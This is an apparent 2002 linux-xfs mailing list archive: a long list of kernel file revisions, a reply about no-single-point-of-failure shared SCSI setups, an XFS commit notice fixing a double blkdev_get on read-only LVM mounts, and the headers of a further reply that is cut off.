linux/drivers/acorn/net/etherh.c - 1.16 linux/drivers/acorn/block/mfmhd.c - 1.28 linux/drivers/acorn/block/fd1772.c - 1.19 linux/arch/sparc64/solaris/systbl.S - 1.5 linux/arch/sparc64/solaris/socksys.c - 1.18 linux/arch/sparc64/solaris/misc.c - 1.26 linux/arch/sparc64/solaris/fs.c - 1.20 linux/arch/sparc64/prom/misc.c - 1.13 linux/arch/sparc64/kernel/unaligned.c - 1.9 linux/arch/sparc64/kernel/systbls.S - 1.30 linux/arch/sparc64/kernel/sys_sparc32.c - 1.54 linux/arch/sparc64/kernel/sparc64_ksyms.c - 1.46 linux/arch/sparc64/kernel/smp.c - 1.47 linux/arch/sparc64/kernel/setup.c - 1.31 linux/arch/sparc64/kernel/rtrap.S - 1.17 linux/arch/sparc64/kernel/process.c - 1.38 linux/arch/sparc64/kernel/irq.c - 1.26 linux/arch/sparc64/kernel/ioctl32.c - 1.55 linux/arch/sparc64/kernel/etrap.S - 1.9 linux/arch/sparc64/kernel/devices.c - 1.12 linux/arch/sparc64/defconfig - 1.71 linux/arch/sparc64/config.in - 1.58 linux/arch/sparc/prom/misc.c - 1.4 linux/arch/sparc/mm/sun4c.c - 1.34 linux/arch/sparc/mm/srmmu.c - 1.34 linux/arch/sparc/mm/iommu.c - 1.13 linux/arch/sparc/mm/io-unit.c - 1.13 linux/arch/sparc/mm/init.c - 1.32 linux/arch/sparc/mm/generic.c - 1.11 linux/arch/sparc/mm/fault.c - 1.19 linux/arch/sparc/mm/btfixup.c - 1.7 linux/arch/sparc/kernel/wuf.S - 1.5 linux/arch/sparc/kernel/wof.S - 1.5 linux/arch/sparc/kernel/windows.c - 1.5 linux/arch/sparc/kernel/traps.c - 1.10 linux/arch/sparc/kernel/trampoline.S - 1.5 linux/arch/sparc/kernel/sun4m_smp.c - 1.22 linux/arch/sparc/kernel/sun4d_smp.c - 1.23 linux/arch/sparc/kernel/sun4d_irq.c - 1.15 linux/arch/sparc/kernel/sparc_ksyms.c - 1.28 linux/arch/sparc/kernel/sparc-stub.c - 1.9 linux/arch/sparc/kernel/signal.c - 1.26 linux/arch/sparc/kernel/setup.c - 1.23 linux/arch/sparc/kernel/sclow.S - 1.3 linux/arch/sparc/kernel/rtrap.S - 1.11 linux/arch/sparc/kernel/ptrace.c - 1.15 linux/arch/sparc/kernel/process.c - 1.28 linux/arch/sparc/kernel/irq.c - 1.22 linux/arch/sparc/kernel/ioport.c - 1.22 linux/arch/sparc/kernel/init_task.c - 1.7 linux/arch/sparc/kernel/head.S - 1.11 linux/arch/sparc/kernel/etrap.S - 1.5 linux/arch/sparc/kernel/entry.S - 1.13 linux/arch/sparc/config.in - 1.40 linux/arch/sparc/boot/Makefile - 1.6 linux/arch/sparc/Makefile - 1.13 linux/arch/ppc/mm/init.c - 1.44 linux/arch/ppc/kernel/smp.c - 1.41 linux/arch/ppc/kernel/setup.c - 1.47 linux/arch/ppc/kernel/ptrace.c - 1.14 linux/arch/ppc/kernel/process.c - 1.40 linux/arch/ppc/kernel/ppc8xx_pic.c - 1.9 linux/arch/ppc/kernel/open_pic.c - 1.28 linux/arch/ppc/kernel/misc.S - 1.44 linux/arch/ppc/kernel/irq.c - 1.38 linux/arch/ppc/kernel/i8259.c - 1.12 linux/arch/ppc/config.in - 1.57 linux/arch/mips/config.in - 1.33 linux/arch/m68k/config.in - 1.32 linux/arch/i386/mm/fault.c - 1.26 linux/arch/i386/kernel/process.c - 1.53 linux/arch/i386/config.in - 1.86 linux/arch/arm/kernel/time.c - 1.17 linux/arch/arm/kernel/setup.c - 1.33 linux/arch/arm/kernel/irq.c - 1.22 linux/arch/arm/kernel/fiq.c - 1.13 linux/arch/arm/kernel/entry-armv.S - 1.34 linux/arch/arm/kernel/entry-armo.S - 1.15 linux/arch/arm/kernel/ecard.c - 1.21 linux/arch/arm/kernel/dma-isa.c - 1.9 linux/arch/arm/config.in - 1.45 linux/arch/arm/boot/Makefile - 1.18 linux/arch/arm/Makefile - 1.32 linux/arch/alpha/lib/stxncpy.S - 1.4 linux/arch/alpha/lib/stxcpy.S - 1.4 linux/arch/alpha/lib/strrchr.S - 1.3 linux/arch/alpha/lib/strncpy_from_user.S - 1.3 linux/arch/alpha/lib/strlen_user.S - 1.4 linux/arch/alpha/lib/strchr.S - 1.3 linux/arch/alpha/kernel/traps.c - 1.21 linux/arch/alpha/kernel/smp.c - 1.36 linux/arch/alpha/kernel/signal.c - 1.17 linux/arch/alpha/kernel/setup.c - 1.30 linux/arch/alpha/kernel/osf_sys.c - 1.32 linux/arch/alpha/kernel/irq.c - 1.23 linux/arch/alpha/kernel/entry.S - 1.29 linux/arch/alpha/kernel/core_cia.c - 1.23 linux/arch/alpha/kernel/alpha_ksyms.c - 1.34 linux/arch/alpha/kernel/Makefile - 1.23 linux/arch/alpha/config.in - 1.50 linux/arch/alpha/boot/Makefile - 1.10 linux/Makefile - 1.212 linux/MAINTAINERS - 1.113 linux/Documentation/filesystems/ntfs.txt - 1.19 linux/CREDITS - 1.86 linux/net/decnet/dn_route.c - 1.20 linux/net/decnet/dn_neigh.c - 1.11 linux/net/decnet/dn_dev.c - 1.14 linux/net/decnet/af_decnet.c - 1.31 linux/include/linux/ide.h - 1.58 linux/drivers/block/blkpg.c - 1.26 linux/drivers/block/cpqarray.c - 1.52 linux/include/linux/threads.h - 1.4 linux/drivers/net/ppp_generic.c - 1.29 linux/drivers/net/ppp_async.c - 1.16 linux/drivers/pci/names.c - 1.11 linux/fs/partitions/check.c - 1.48 linux/drivers/net/sis900.c - 1.34 linux/drivers/atm/zatm.c - 1.13 linux/drivers/atm/uPD98402.c - 1.8 linux/drivers/atm/suni.c - 1.10 linux/drivers/atm/nicstar.c - 1.17 linux/drivers/atm/horizon.c - 1.12 linux/drivers/atm/eni.c - 1.17 linux/drivers/atm/atmtcp.c - 1.9 linux/drivers/atm/ambassador.c - 1.15 linux/net/atm/svc.c - 1.12 linux/net/atm/signaling.c - 1.9 linux/net/atm/pvc.c - 1.11 linux/net/atm/proc.c - 1.16 linux/net/atm/mpoa_proc.c - 1.9 linux/net/atm/mpc.c - 1.10 linux/net/atm/clip.c - 1.13 linux/arch/alpha/kernel/pci.c - 1.21 linux/arch/sparc64/kernel/pci.c - 1.28 linux/arch/sparc/kernel/semaphore.c - 1.8 linux/arch/sh/config.in - 1.27 linux/drivers/pcmcia/Makefile - 1.18 linux/drivers/block/swim_iop.c - 1.14 linux/drivers/sbus/char/uctrl.c - 1.14 linux/drivers/net/starfire.c - 1.26 linux/drivers/char/drm/gamma_drv.c - 1.14 linux/drivers/char/drm/drmP.h - 1.17 linux/drivers/char/drm/drm.h - 1.11 linux/drivers/net/wan/cosa.c - 1.26 linux/drivers/net/tokenring/olympic.c - 1.21 linux/drivers/net/wan/syncppp.c - 1.15 linux/drivers/net/wan/sdlamain.c - 1.13 linux/drivers/net/wan/lapbether.c - 1.12 linux/include/asm-arm/arch-sa1100/irqs.h - 1.10 linux/drivers/net/ppp_synctty.c - 1.12 linux/fs/proc/proc_misc.c - 1.39 linux/drivers/net/setup.c - 1.20 linux/drivers/net/sk98lin/skge.c - 1.20 linux/include/asm-alpha/pgalloc.h - 1.16 linux/drivers/char/drm/tdfx_drv.c - 1.11 linux/kernel/timer.c - 1.28 linux/drivers/sbus/char/jsflash.c - 1.20 linux/fs/openpromfs/inode.c - 1.23 linux/include/asm-sparc/pgalloc.h - 1.14 linux/drivers/net/arcnet/com20020-pci.c - 1.13 linux/net/decnet/dn_rules.c - 1.4 linux/arch/ppc/kernel/ppc4xx_pic.c - 1.6 linux/drivers/ieee1394/Makefile - 1.15 linux/drivers/net/tokenring/tmspci.c - 1.8 linux/drivers/net/tokenring/abyss.c - 1.8 linux/drivers/atm/iphase.c - 1.13 linux/drivers/acorn/char/pcf8583.c - 1.5 linux/drivers/acorn/char/i2c.c - 1.5 linux/drivers/net/8139too.c - 1.40 linux/fs/devfs/base.c - 1.42 linux/drivers/net/tulip/tulip_core.c - 1.41 linux/drivers/net/ioc3-eth.c - 1.19 linux/drivers/char/wdt977.c - 1.11 linux/drivers/atm/fore200e.c - 1.15 linux/arch/mips64/config.in - 1.23 linux/drivers/net/bonding.c - 1.12 linux/arch/alpha/kernel/irq_smp.c - 1.5 linux/arch/alpha/kernel/irq_alpha.c - 1.9 linux/include/linux/brlock.h - 1.9 linux/net/econet/af_econet.c - 1.12 linux/include/linux/usb.h - 1.43 linux/drivers/ide/ide.c - 1.61 linux/drivers/ide/ide-tape.c - 1.33 linux/drivers/ide/ide-pmac.c - 1.20 linux/drivers/ide/ide-floppy.c - 1.31 linux/drivers/ide/ide-disk.c - 1.43 linux/drivers/ide/ide-cd.c - 1.43 linux/drivers/ide/hd.c - 1.26 linux/drivers/block/elevator.c - 1.21 linux/drivers/net/wan/comx.c - 1.19 linux/drivers/net/wan/comx-proto-fr.c - 1.10 linux/drivers/net/tokenring/lanstreamer.c - 1.12 linux/net/ipv4/netfilter/ip_queue.c - 1.15 linux/drivers/video/sa1100fb.c - 1.15 linux/drivers/net/pppoe.c - 1.21 linux/arch/ppc/kernel/ppc8260_pic.c - 1.5 linux/net/ipv6/netfilter/ip6_tables.c - 1.13 linux/drivers/char/drm/r128_drv.h - 1.9 linux/drivers/char/drm/r128_drv.c - 1.9 linux/drivers/char/drm/mga_state.c - 1.9 linux/drivers/char/drm/mga_drv.h - 1.9 linux/drivers/char/drm/mga_drv.c - 1.8 linux/drivers/char/drm/mga_dma.c - 1.7 linux/drivers/char/drm/i810_drv.c - 1.8 linux/drivers/usb/serial/keyspan.c - 1.30 linux/arch/alpha/vmlinux.lds.in - 1.10 linux/drivers/mtd/ftl.c - 1.21 linux/include/linux/mtd/nftl.h - 1.4 linux/drivers/net/tun.c - 1.15 linux/include/asm-sparc/kmap_types.h - 1.8 linux/include/asm-sparc/highmem.h - 1.5 linux/drivers/sbus/char/display7seg.c - 1.6 linux/drivers/net/natsemi.c - 1.21 linux/drivers/input/keybdev.c - 1.11 linux/arch/arm/mach-footbridge/personal-pci.c - 1.6 linux/arch/arm/mach-footbridge/netwinder-pci.c - 1.5 linux/arch/arm/mach-footbridge/ebsa285-pci.c - 1.5 linux/arch/arm/mach-footbridge/cats-pci.c - 1.5 linux/arch/arm/mach-shark/pci.c - 1.5 linux/drivers/block/cciss.c - 1.39 linux/drivers/net/hamachi.c - 1.15 linux/drivers/net/sundance.c - 1.17 linux/arch/alpha/lib/ev6-strncpy_from_user.S - 1.2 linux/arch/alpha/lib/ev6-stxcpy.S - 1.2 linux/arch/alpha/lib/ev6-stxncpy.S - 1.2 linux/arch/alpha/lib/ev67-strchr.S - 1.2 linux/arch/alpha/lib/ev67-strlen_user.S - 1.2 linux/drivers/net/lasi_82596.c - 1.9 linux/arch/parisc/config.in - 1.9 linux/drivers/atm/firestream.c - 1.11 linux/arch/alpha/lib/ev67-strrchr.S - 1.2 linux/drivers/char/drm/r128_state.c - 1.5 linux/drivers/char/drm/r128_cce.c - 1.6 linux/fs/reiserfs/super.c - 1.27 linux/drivers/char/drm/radeon_cp.c - 1.8 linux/drivers/char/drm/radeon_drm.h - 1.5 linux/drivers/char/drm/radeon_drv.c - 1.5 linux/drivers/char/drm/radeon_drv.h - 1.6 linux/drivers/char/drm/radeon_state.c - 1.5 linux/fs/reiserfs/namei.c - 1.25 linux/fs/reiserfs/item_ops.c - 1.9 linux/fs/reiserfs/file.c - 1.14 linux/include/linux/reiserfs_fs.h - 1.30 linux/fs/reiserfs/bitmap.c - 1.18 linux/drivers/sbus/char/cpwatchdog.c - 1.7 linux/drivers/s390/block/xpram.c - 1.23 linux/drivers/net/pci-skeleton.c - 1.12 linux/drivers/scsi/aic7xxx/aic7xxx_linux.c - 1.17 linux/arch/arm/mach-integrator/arch.c - 1.6 linux/arch/arm/mach-integrator/irq.c - 1.3 linux/arch/arm/mach-integrator/pci.c - 1.7 linux/arch/arm/mach-integrator/pci_v3.c - 1.10 linux/drivers/sbus/char/riowatchdog.c - 1.4 linux/drivers/net/wan/dscc4.c - 1.14 linux/drivers/net/sungem.c - 1.19 linux/net/wanrouter/af_wanpipe.c - 1.7 linux/arch/arm/mach-footbridge/irq.c - 1.3 linux/include/asm-i386/rwsem.h - 1.7 linux/include/asm-sparc64/rwsem.h - 1.3 linux/include/asm-ppc/rwsem.h - 1.3 linux/drivers/net/fealnx.c - 1.13 linux/drivers/net/irda/irda-usb.c - 1.21 linux/net/bluetooth/hci_sock.c - 1.6 linux/drivers/mtd/nftlcore.c - 1.21 linux/drivers/net/wireless/airo.c - 1.18 linux/drivers/acorn/char/mouse_ps2.c - 1.5 linux/include/asm-alpha/rwsem.h - 1.3 linux/drivers/net/dl2k.c - 1.15 linux/drivers/char/drm/radeon.h - 1.2 linux/drivers/char/drm/r128.h - 1.2 linux/drivers/char/drm/mga_warp.c - 1.3 linux/drivers/char/drm/mga.h - 1.2 linux/drivers/char/drm/i810.h - 1.3 linux/drivers/char/drm/gamma.h - 1.3 linux/drivers/char/drm/drm_drv.h - 1.6 linux/drivers/net/irda/vlsi_ir.c - 1.11 linux/drivers/net/wan/farsync.c - 1.9 linux/arch/arm/mach-sa1100/simpad.c - 1.10 linux/arch/arm/mach-sa1100/sa1111.c - 1.9 linux/arch/arm/mach-sa1100/neponset.c - 1.11 linux/arch/arm/mach-anakin/irq.c - 1.2 linux/arch/arm/mach-sa1100/irq.c - 1.7 linux/arch/arm/mach-sa1100/graphicsclient.c - 1.11 linux/arch/arm/mach-sa1100/assabet.c - 1.12 linux/arch/arm/mach-sa1100/cpu-sa1100.c - 1.5 linux/arch/arm/mach-sa1100/cpu-sa1110.c - 1.7 linux/arch/arm/mach-sa1100/generic.c - 1.9 linux/drivers/net/ns83820.c - 1.13 linux/include/asm-sparc/tlb.h - 1.2 linux/include/asm-generic/tlb.h - 1.8 linux/include/asm-alpha/tlb.h - 1.2 linux/drivers/net/wireless/orinoco_plx.c - 1.5 linux/drivers/pcmcia/sa1100_generic.c - 1.7 linux/arch/arm/mach-sa1100/h3600.c - 1.10 linux/arch/arm/mach-sa1100/graphicsmaster.c - 1.13 linux/arch/arm/mach-sa1100/adsbitsy.c - 1.11 linux/drivers/net/8139cp.c - 1.16 linux/drivers/atm/lanai.c - 1.2 linux/arch/arm/mach-epxa10db/irq.c - 1.3 linux/net/8021q/vlanproc.c - 1.7 linux/net/8021q/vlan_dev.c - 1.4 linux/net/8021q/vlan.c - 1.4 linux/drivers/atm/idt77252.c - 1.5 linux/net/atm/pppoatm.c - 1.4 linux/fs/ext3/super.c - 1.21 linux/fs/seq_file.c - 1.5 linux/fs/driverfs/inode.c - 1.19 linux/include/linux/device.h - 1.13 linux/Documentation/filesystems/driverfs.txt - 1.2 linux/drivers/usb/serial/ipaq.c - 1.11 linux/arch/arm/mm/proc-xscale.S - 1.8 linux/arch/arm/mach-shark/irq.c - 1.3 linux/arch/arm/mach-sa1100/system3.c - 1.11 linux/arch/arm/mach-arc/dma.c - 1.4 linux/arch/arm/mach-clps711x/irq.c - 1.3 linux/arch/arm/mach-ebsa110/core.c - 1.4 linux/arch/arm/mach-iop310/iop310-irq.c - 1.4 linux/arch/arm/mach-iop310/iq80310-irq.c - 1.4 linux/arch/arm/mach-iop310/iq80310-pci.c - 1.4 linux/arch/arm/mach-iop310/iq80310-time.c - 1.5 linux/arch/arm/mach-iop310/xs80200-irq.c - 1.4 linux/arch/arm/mach-rpc/irq.c - 1.3 linux/arch/arm/mach-ftvpci/pci.c - 1.3 linux/Documentation/usb/auerswald.txt - 1.3 linux/arch/arm/mach-footbridge/dma.c - 1.2 linux/arch/arm/kernel/debug.S - 1.4 linux/arch/arm/mach-rpc/dma.c - 1.4 linux/drivers/net/wireless/netwave_cs.c - 1.3 linux/drivers/net/wireless/wavelan.c - 1.3 linux/drivers/net/wireless/wavelan_cs.c - 1.5 linux/net/sched/Config.help - 1.2 linux/arch/alpha/Config.help - 1.5 linux/net/ipx/Config.help - 1.2 linux/net/Config.help - 1.3 linux/arch/sparc/Config.help - 1.4 linux/arch/sparc64/Config.help - 1.4 linux/drivers/sbus/char/Config.help - 1.2 linux/drivers/base/fs.c - 1.7 linux/drivers/base/Makefile - 1.5 linux/drivers/pci/pci-driver.c - 1.9 linux/drivers/pnp/pnpbios_core.c - 1.9 linux/include/linux/stringify.h - 1.2 linux/include/asm-sparc64/thread_info.h - 1.4 linux/arch/ppc/configs/lopec_defconfig - 1.3 linux/arch/ppc/configs/sandpoint_defconfig - 1.7 linux/sound/oss/esssolo1.c - 1.4 linux/sound/oss/es1371.c - 1.4 linux/arch/ppc/platforms/apus_setup.c - 1.4 linux/arch/ppc/platforms/chrp_smp.c - 1.4 linux/arch/ppc/platforms/lopec_setup.c - 1.9 linux/arch/ppc/platforms/pmac_pic.c - 1.5 linux/arch/ppc/platforms/pplus_setup.c - 1.8 linux/arch/ppc/platforms/prep_setup.c - 1.9 linux/arch/ppc/platforms/spruce_setup.c - 1.6 linux/include/asm-alpha/thread_info.h - 1.3 linux/drivers/net/e1000/e1000_main.c - 1.9 linux/Documentation/networking/e1000.txt - 1.3 linux/drivers/net/e1000/e1000_osdep.h - 1.4 linux/drivers/net/e1000/e1000.h - 1.5 linux/drivers/net/e1000/e1000_ethtool.c - 1.4 linux/drivers/net/tokenring/3c359.c - 1.2 linux/drivers/net/e1000/e1000_param.c - 1.3 linux/Documentation/filesystems/jfs.txt - 1.3 linux/fs/jfs/jfs_logmgr.h - 1.7 linux/fs/jfs/jfs_lock.h - 1.4 linux/fs/jfs/Makefile - 1.3 linux/fs/jfs/file.c - 1.8 linux/fs/jfs/inode.c - 1.9 linux/fs/jfs/jfs_dmap.c - 1.6 linux/fs/jfs/jfs_inode.c - 1.4 linux/fs/jfs/jfs_extent.c - 1.3 linux/fs/jfs/jfs_incore.h - 1.7 linux/fs/jfs/jfs_imap.h - 1.4 linux/fs/jfs/jfs_imap.c - 1.5 linux/fs/jfs/namei.c - 1.9 linux/fs/jfs/jfs_xtree.c - 1.5 linux/arch/arm/mach-footbridge/isa-irq.c - 1.3 linux/fs/jfs/jfs_logmgr.c - 1.13 linux/fs/jfs/super.c - 1.11 linux/fs/jfs/jfs_mount.c - 1.8 linux/fs/jfs/jfs_txnmgr.c - 1.11 linux/fs/jfs/jfs_txnmgr.h - 1.4 linux/fs/jfs/jfs_metapage.c - 1.8 linux/drivers/net/tg3.h - 1.8 linux/drivers/net/tg3.c - 1.8 linux/drivers/net/tulip/de2104x.c - 1.3 linux/drivers/net/tulip/dmfe.c - 1.2 linux/drivers/net/tulip/winbond-840.c - 1.3 linux/drivers/net/tulip/xircom_cb.c - 1.2 linux/drivers/net/tulip/xircom_tulip_cb.c - 1.2 linux/drivers/net/e100/e100_phy.h - 1.3 linux/drivers/net/e100/e100_proc.c - 1.5 linux/drivers/net/e100/e100.h - 1.6 linux/drivers/net/e100/e100_vendor.h - 1.3 linux/drivers/net/e100/e100_phy.c - 1.4 linux/drivers/net/e100/e100_config.c - 1.5 linux/drivers/net/e100/e100_config.h - 1.4 linux/drivers/net/e100/e100_eeprom.c - 1.3 linux/drivers/net/e100/e100_main.c - 1.6 linux/drivers/net/tc35815.c - 1.2 linux/drivers/net/e1000/e1000_hw.h - 1.3 linux/drivers/usb/core/drivers.c - 1.5 linux/drivers/usb/core/hub.c - 1.8 linux/drivers/usb/core/inode.c - 1.7 linux/include/asm-arm/arch-pxa/pxa-regs.h - 1.3 linux/include/asm-arm/arch-pxa/hardware.h - 1.2 linux/drivers/usb/core/usb.c - 1.12 linux/arch/arm/mach-pxa/Makefile - 1.3 linux/arch/arm/mach-pxa/generic.c - 1.3 linux/arch/arm/mach-pxa/irq.c - 1.2 linux/arch/arm/mach-pxa/lubbock.c - 1.5 linux/drivers/base/base.h - 1.6 linux/drivers/net/e1000/e1000_hw.c - 1.3 linux/drivers/usb/media/dabusb.c - 1.8 linux/drivers/net/e100/e100_test.c - 1.3 linux/drivers/usb/media/se401.c - 1.7 linux/drivers/usb/media/vicamurbs.h - 1.2 linux/drivers/usb/net/kaweth.c - 1.6 linux/drivers/usb/misc/auerswald.c - 1.7 linux/drivers/isdn/i4l/isdn_v110.h - 1.2 linux/drivers/isdn/i4l/isdn_v110.c - 1.2 linux/drivers/isdn/i4l/isdn_ttyfax.c - 1.2 linux/drivers/isdn/i4l/isdn_tty.h - 1.2 linux/drivers/isdn/i4l/isdn_tty.c - 1.4 linux/drivers/isdn/i4l/isdn_ppp.c - 1.4 linux/drivers/isdn/i4l/isdn_net.h - 1.3 linux/drivers/isdn/i4l/isdn_net.c - 1.3 linux/drivers/isdn/i4l/isdn_common.h - 1.2 linux/drivers/isdn/i4l/isdn_common.c - 1.4 linux/drivers/isdn/i4l/isdn_audio.c - 1.2 linux/fs/ntfs/attrib.c - 1.7 linux/fs/ntfs/volume.h - 1.6 linux/fs/ntfs/compress.c - 1.7 linux/fs/ntfs/file.c - 1.5 linux/fs/ntfs/namei.c - 1.6 linux/fs/ntfs/mft.h - 1.2 linux/fs/ntfs/mft.c - 1.6 linux/fs/ntfs/malloc.h - 1.2 linux/fs/ntfs/ChangeLog - 1.7 linux/sound/arm/sa11xx-uda1341.c - 1.4 linux/fs/ntfs/aops.c - 1.7 linux/drivers/block/umem.c - 1.5 linux/drivers/net/wan/pc300_drv.c - 1.3 linux/drivers/net/wireless/orinoco_pci.c - 1.2 linux/net/bluetooth/sco.c - 1.2 linux/net/bluetooth/l2cap.c - 1.2 linux/mm/page-writeback.c - 1.7 linux/arch/sparc/kernel/apc.c - 1.2 linux/drivers/char/drm/i830.h - 1.2 linux/kernel/suspend.c - 1.9 linux/drivers/ide/ioctl.c - 1.10 linux/drivers/ide/main.c - 1.7 linux/drivers/ide/probe.c - 1.9 linux/drivers/char/drm/sis_drv.c - 1.2 linux/drivers/char/drm/sis.h - 1.2 linux/drivers/base/bus.c - 1.5 linux/drivers/char/drm/i830_drv.c - 1.3 linux/drivers/base/driver.c - 1.4 linux/arch/i386/kernel/cpu/intel.c - 1.3 linux/drivers/s390/block/dasd_ioctl.c - 1.4 linux/drivers/usb/input/aiptek.c - 1.4 linux/arch/arm/mm/fault.h - 1.2 linux/net/llc/llc_if.c - 1.2 linux/net/core/ext8022.c - 1.2 linux/include/net/llc_pdu.h - 1.2 linux/net/llc/llc_sap.c - 1.2 linux/net/llc/llc_s_st.c - 1.2 linux/net/llc/llc_s_ev.c - 1.2 linux/net/llc/llc_evnt.c - 1.2 linux/net/llc/llc_mac.c - 1.2 linux/net/llc/llc_c_st.c - 1.2 linux/net/llc/llc_pdu.c - 1.2 linux/net/llc/llc_c_ac.c - 1.2 linux/net/llc/llc_c_ev.c - 1.2 linux/net/llc/llc_main.c - 1.2 linux/net/llc/llc_conn.c - 1.2 linux/fs/direct-io.c - 1.4 linux/drivers/serial/Makefile - 1.2 linux/drivers/serial/Config.in - 1.2 linux/drivers/serial/Config.help - 1.2 linux/include/linux/serial_core.h - 1.2 linux/include/linux/preempt.h - 1.2 From owner-linux-xfs@oss.sgi.com Fri Aug 16 08:03:33 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GF3XRw026411 for ; Fri, 16 Aug 2002 08:03:33 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GF3XrX026410 for linux-xfs-outgoing; Fri, 16 Aug 2002 08:03:33 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from imf17bis.bellsouth.net (mail317.mail.bellsouth.net [205.152.58.177]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GF3RRw026382 for ; Fri, 16 Aug 2002 08:03:27 -0700 Received: from TAZ2 ([66.156.4.66]) by imf17bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020816150738.ECOK9473.imf17bis.bellsouth.net@TAZ2>; Fri, 16 Aug 2002 11:07:38 -0400 Date: Fri, 16 Aug 2002 11:04:52 -0400 From: Greg Freemyer Subject: re[2]: XFS and net devices, any pros or cons ? To: Blizbor (IMA) , Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20020816150738.ECOK9473.imf17bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7GF3RRw026383 X-Spam-Status: No, hits=-0.5 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK,SUPERLONG_LINE version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk >> This what I'm building isn't shared SCSI. >> I'm believe that shared SCSI couldn't survive some kind of crashes. Blizbor, I just want to clarify that a shared scsi solution can be made no-SPOF and thus is at least as reliable as a drbd based solution. The real issue is cost, not reliability. To do a no SPOF shared scsi solution, you have to build 2 separate shared scsi buses each with a set of data drives, then mirror the data between the 2 different buses. Another key component is to use external bus terminators, never internal. I have never setup this kind of solution under Linux, but it is one of the very few no SPOF solutions officially supported in Compaq UNIX TruClusters. Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com From owner-linux-xfs@oss.sgi.com Fri Aug 16 09:32:12 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GGWBRw028249 for ; Fri, 16 Aug 2002 09:32:11 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GGWB9o028248 for linux-xfs-outgoing; Fri, 16 Aug 2002 09:32:11 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GGW1Rw028219 for ; Fri, 16 Aug 2002 09:32:02 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA48017 for ; Fri, 16 Aug 2002 11:34:37 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id LAA92806 for ; Fri, 16 Aug 2002 11:34:36 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g7GGYTS03855; Fri, 16 Aug 2002 11:34:29 -0500 Message-Id: <200208161634.g7GGYTS03855@stout.americas.sgi.com> Date: Fri, 16 Aug 2002 11:34:29 -0500 Subject: TAKE - don't take a 2nd ref on the data block device (LVM fix take 2) X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk See the comment below. This fixes LVM because on read-only mounts, blkdev_get is now only called with a READ argument. We had been calling it a 2nd time with READ|WRITE, and lvm didn't like this for it's read-only snapshots. So, don't call it a second time in XFS (the right thing to do, anyway) and then LVM is happy as well. Date: Fri Aug 16 09:32:00 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125261a linux/fs/xfs/xfs_vfsops.c - 1.371 linux/fs/xfs/xfs_mount.c - 1.298 linux/fs/xfs/pagebuf/page_buf_locking.c - 1.27 linux/fs/xfs/pagebuf/page_buf.h - 1.37 - Add do_blkdev_get/do_blkdev_put arguments to pagebuf_lock_enable and pagebuf_lock_disable, so that we don't get/put a second time for the data device - the vfs does this for us. We still need to do it ourselves for the logdev and rtdev, though. This also means that the blkdev_get for the data device is now read-only for read-only mounts. From owner-linux-xfs@oss.sgi.com Fri Aug 16 10:04:42 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7GH4gRw028691 for ; Fri, 16 Aug 2002 10:04:42 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7GH4gPZ028690 for linux-xfs-outgoing; Fri, 16 Aug 2002 10:04:42 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mx1.tippett.com (user-112vvgq.biz.mindspring.com [66.47.254.26]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7GH4TRw028660 for ; Fri, 16 Aug 2002 10:04:29 -0700 Received: from hermes.tippett.com (hermes.tippett.com [192.168.2.20]) by mx1.tippett.com (Postfix) with ESMTP id 1D9EB181FDB0; Fri, 16 Aug 2002 10:41:42 -0700 (PDT) Received: from tippett.com (felix.tippett.com [192.168.2.32]) by hermes.tippett.com (980427.SGI.8.8.8/8.7.3) with ESMTP id KAA92336; Fri, 16 Aug 2002 10:06:36 -0700 (PDT) Message-ID: <3D5D3138.5FC5930C@tippett.com> Date: Fri, 16 Aug 2002 10:07:04 -0700 From: Christian Rice Organization: Tippett Studio X-Mailer: Mozilla 4.79C-SGI [en] (X11; I; IRIX64 6.5 IP28) X-Accept-Language: en MIME-Version: 1.0 To: Eric Sandeen Cc: Stephen Lord , linux-xfs@oss.sgi.com Subject: Re: corruption issue References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.8 required=5.0 tests=SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: 